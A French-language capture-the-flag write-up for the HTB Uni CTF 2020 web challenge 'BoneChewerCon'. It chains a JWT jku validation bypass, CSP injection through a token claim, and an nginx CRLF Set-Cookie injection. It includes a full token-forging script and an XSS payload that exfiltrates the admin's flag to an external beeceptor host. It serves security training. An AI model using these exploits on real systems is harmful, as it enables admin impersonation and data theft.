---
tags: HackTheBox, CTF, Web
---
# BoneChewerCon - HTB Uni CTF 2020
On possède le code de l'application et un Dockerfile pour l'exécuter en local, ce qui permet d'obtenir de nombreuses informations sur la solution du challenge.
Il s'agit d'un serveur web sous nginx et Flask. La page d'accueil nous permet d'envoyer une idée à l'administrateur.

Le flag est stocké en base de données et affiché sur la page `/list` qui n'est accessible que par l'administrateur en 127.0.0.1, pour l'utilisateur `admin`. Un bot accède à la page en permanence. Cette même page affiche les messages envoyés par les visiteurs.

On pense donc tout de suite à une XSS, car aucun filtrage des données n'est effectué. Cependant, le header `Content-Security-Policy` (CSP) est défini et empêche toute exécution de scripts ou l'accès à des ressources extérieures. Seules les ressources internes sont accessibles.
## Réécriture du header CSP
Le header CSP est construit grâce à la fonction `make_csp_header` dans `util.py`.
```python
def make_csp_header(settings, report_uri=None):
header = ''
for directive, policies in settings.items():
header += f'{directive} '
header += ' '.join(
(policy for policy in policies)
)
header += '; '
if report_uri:
header += f'report-uri {report_uri};'
return header
```
Le plus intéressant ici est l'injection de la variable `report_uri`. En effet, si on contrôle cette valeur, on peut injecter n'importe quel autre attribut dans le header CSP, et notamment ceux qui autoriseront l'exécution de scripts sur la page.
Le paramètre `report_uri` prend la valeur définie dans la fonction `csp` un peu plus bas.
```python
def csp(func):
@functools.wraps(func)
def headers(*args, **kwargs):
response = make_response(func(*args, **kwargs))
REPORT_URI = f"/api/csp-report?token={g.session.get('token')}"
if SETTINGS_REPORT_CSP:
response.headers['Content-Security-Policy'
] = make_csp_header(SETTINGS_REPORT_CSP, REPORT_URI)
if SETTINGS_SECURITY_PRACTICES:
for header, directive in SETTINGS_SECURITY_PRACTICES.items():
response.headers[header] = directive[0]
return response
return headers
```
Ici, on voit qu'un token est injecté dans l'URL. Ce token dépend de la session actuelle, stockée dans les cookies via un Json Web Token (JWT).
En contrôlant la valeur de ce cookie, on peut donc contrôler le header CSP.
Ce challenge est une version avancée du Lab Portswigger [Reflected XSS Protected By CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass).
## Objectif : forger un cookie JWT
Pour manipuler les tokens JWT, le site `https://jwt.io/` est l'outil parfait. Il suffit de copier la valeur du cookie pour le modifier.
En tant qu'utilisateur normal, le cookie JWT ressemble à ça :
```json
Header
{
"typ": "JWT",
"alg": "RS256",
"jku": "http://localhost/.well-known/jwks.json",
"kid": "7c786f5f-b126-429e-8089-e6cf4794d271"
}
Payload
{
"username": "guest_aDbAEbCfbE",
"token": "BE20Ca65C3B172CD",
"iat": 1606056374,
"exp": 1606077974
}
```
On remarque ainsi le lien vers la clé publique utilisée pour que le serveur valide le token JWT, `http://localhost/.well-known/jwks.json`. Cette clé publique telle qu'elle ne nous est pas particulièrement utile, mais c'est un point important à prendre en compte. En effet, comme le montre [cet exercice](https://blog.pentesteracademy.com/hacking-jwt-tokens-jku-claim-misuse-2e732109ac1c), il est possible de faire valider n'importe quel token JWT si on contrôle la valeur du `jku`.
Ici, le serveur effectue la vérification du token via la fonction `decode(jwt_token)` dans `models.py`. Le `jku` est récupéré via la fonction `fetch_jku(url)`, et diverses vérifications sont faites pour déterminer si l'URL est autorisée ou non.
```python
@staticmethod
def fetch_jku(url):
domain = SCHEME_RE.sub('', url).partition('/')[0]
scheme = re.match(SCHEME_RE, url)
if not scheme or not filter(lambda x: scheme.group(0) in x, ('http://', 'https://')):
return abort(400, 'Invalid scheme')
if '@' in url:
domain = domain.split('@')[1]
if ':' in domain:
domain, port = domain.split(':')
if 'port' in locals() and not filter(lambda x: port in x, ('80', '8080', '5000')):
return abort(400, 'Invalid port')
if domain != current_app.config.get('AUTH_PROVIDER'):
return abort(400, 'Invalid provider')
jwks = requests.get(url)
if not jwks.url.endswith('jwks.json'):
return abort(400, 'Invalid jwks endpoint')
if not jwks.status_code == 200:
return abort(500, 'Invalid response status code from provider')
if not jwks.headers.get('Content-Type', '') == 'application/json':
return abort(500, 'Invalid response from provider')
return jwks.json()
```
En regardant avec détails les conditions, on remarque une faille qui nous permet de faire valider n'importe quelle URL au format suivant : `http://evil.com#@localhost/jwks.json`. Le domaine `evil.com` peut-être controlé pour répondre correctement (code 200, `Content-Type : application/json`) et retourner une clé `jwks.json` malveillante, qui correspond au cookie qu'on veut forger. Le serveur pourra alors déchiffrer le cookie et valider le token JWT.
La création de la clé publique malveillante est relativement simple.
On récupère le `kid` à partir de la clé publique du serveur, puis on génère un couple de clés personnalisé. On récupère l'exposant `e` ainsi que le modulo `n` puis on remplace les valeurs correspondantes dans le fichier `jwks.json`. On se servira alors de notre clé privée pour forger le token sur https://jwt.io/. Le serveur pourra déchiffrer le token avec la clé publique qu'on lui aura indiquée.
J'ai développé un script pour faire tout le travail automagiquement :
```python
import jwt # pip3 install pyjwt
import requests
from Crypto.PublicKey import RSA
import datetime
import json
# URL du site
BASE_URL = 'http://127.0.0.1:1337'
# Emplacement du jwks.json custom
OWN_JWKS_URL = 'https://htbuni.free.beeceptor.com#@localhost/jwks.json'
# Génère un couple de clés
key = RSA.generate(2048)
public_key = key.publickey()
private_key = key.exportKey()
# Récupération du kid de la clé publique du serveur
jwks = requests.get(BASE_URL + '/.well-known/jwks.json').json()
kid = jwks.get('keys')[0].get('kid')
jwks['keys'][0]['n'] = str(public_key.n)
jwks['keys'][0]['e'] = str(public_key.e)
print('#### jwks.json ####')
print('')
print(json.dumps(jwks))
print('')
headers = {
# kid du serveur
'kid': kid,
# URL de notre jkws.json
'jku': OWN_JWKS_URL
}
payload = {
# Usurpation de l'utilisateur admin
'username' : 'admin',
# Réécriture du CSP avec des valeurs qui nous arrangent
'token' : "H4CK3D; default-src *; script-src 'unsafe-inline' *",
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(days=1)
}
encoded_cookie = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print("#### COOKIE ####")
print('')
print(encoded_cookie.decode())
print('')
```
> Résultat
> ```json
> #### jwks.json ####
>
> {"keys": [{"alg": "RS256", "e": "65537", "kid": "7c786f5f-b126-429e-8089-e6cf4794d271", "kty": "RSA", "n": "21354262640733288340530920443124...", "use": "sig"}]}
>
> #### COOKIE ####
>
> eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1...
> ```
La valeur `token` a été réécrite pour injecter les attributs CSP désirés.
Avant de tester le cookie, il faut héberger la clé publique `jwks.json` pour répondre aux conditions de la fonction `fetch_jku`. Pour cela, https://beeceptor.com/ remplit très bien nos besoins. On crée une nouvelle *Mocking Rule* pour retourner le fichier avec un header `Content-Type: application/json` et un code 200. Ensuite, il suffit de préciser l'URL de notre `jwks.json` dans le header JWT en s'assurant de contourner les fonctions de validation de l'URL, comme vu plus haut.

Pour tester le cookie, il suffit de le charger sur son navigateur et tester l'accès à la racine du site. Si la page se charge correctement, c'est que le token a été accepté par le serveur.
On peut même vérifier que le compte `admin` est correctement usurpé en accédant à `/list`. On se retrouve alors avec l'erreur `Your IP is not allowed` qui est une bonne nouvelle pour nous.
Seulement, le challenge est loin d'être fini. Il nous faut maintenant trouver un moyen de réécrire le cookie de l'administrateur.
## Réécriture du cookie de l'administrateur
Pour réécrire un cookie, j'ai d'abord pensé à une XSS. En effet, le cookie `auth` est accessible en écriture depuis du JavaScript car il n'est pas `httpOnly`. Cependant, on sait qu'il n'y a pas de XSS sur la page `/list`. Il y a bien une page qui affiche une erreur type 404 avec un paramètre GET contrôlé, mais il n'est pas vulnérable aux XSS et cela ne suivrait pas le principe du challenge (comprendre : si il y avait une XSS applicable sur le site, on ne s'embêterait pas avec les CSP).
La solution n'est pourtant pas si loin, et se situe dans la configuration nginx du serveur :
```nginx=
location @notfound {
if ($uri ~ ^/list) {
return 302 "http://$http_host/list?error_path=$uri";
}
return 302 "http://$http_host/?error_path=$uri";
}
```
Les explications de cette vulnérabilité peuvent être trouvées sur http://blog.volema.com/nginx-insecurities.html#.X7tjx7PjKUm
Pour résumer, on peut réécrire les headers d'une requete HTTP en rajoutant un CRLF au format URLEncode. On peut alors réécrire n'importe quel header de la réponse.
On ne peut pas utiliser cette seule vulnérabilité pour réécrire le header CSP, car nginx écrira le header dans une première réponse `302 Moved Temporarily` et il sera perdu lors de la réponse suivante. Le cookie, lui, est conservé entre les réponses.
Grâce à la XSS de la page `/list`, on peut alors se servir d'une page locale pour définir le cookie.
`http://127.0.0.1/%0d%0aSet-Cookie:%20auth%3d<COOKIE>`
Ce qui donne comme payload finale :
```htmlmixed=
<img src="/%0d%0aSet-Cookie:%20auth%3d<COOKIE>">
<img src="x" onerror="(
fetch('/api/list')
.then(r => r.json())
.then(r => r.submissions[0].idea)
.then(flag => {
fetch('https://htbuni.free.beeceptor.com/flag?flag' + flag)
})
)()">
```
La première visite de l'admin définira son cookie, et la seconde avec le header CSP réécrit exécutera notre script.
